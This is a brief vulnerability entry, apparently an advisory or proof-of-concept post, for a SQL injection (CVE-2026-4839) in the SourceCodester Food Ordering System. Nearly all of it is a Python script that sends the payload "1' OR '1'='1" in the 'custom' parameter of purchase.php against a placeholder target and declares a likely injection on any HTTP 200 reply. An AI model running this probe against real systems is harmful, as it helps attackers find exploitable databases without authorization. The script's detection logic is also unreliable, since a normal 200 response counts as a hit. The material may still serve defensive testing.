CVE-2026-4839 SourceCodester Food Ordering System SQL注入漏洞

import requests def check_sql_injection(url): # Target endpoint target = f"{url}/purchase.php" # Simple SQL injection payload to test vulnerability payload = "1' OR '1'='1" params = { "custom": payload } try: response = requests.get(target, params=params, timeout=5) # Check if the response indicates a successful SQL injection # (e.g., returns unexpected data or takes longer due to sleep) if response.status_code == 200: print(f"[+] Potential SQL Injection found at {target}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] No immediate vulnerability detected, status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://target-ip" # Replace with actual target check_sql_injection(target_url)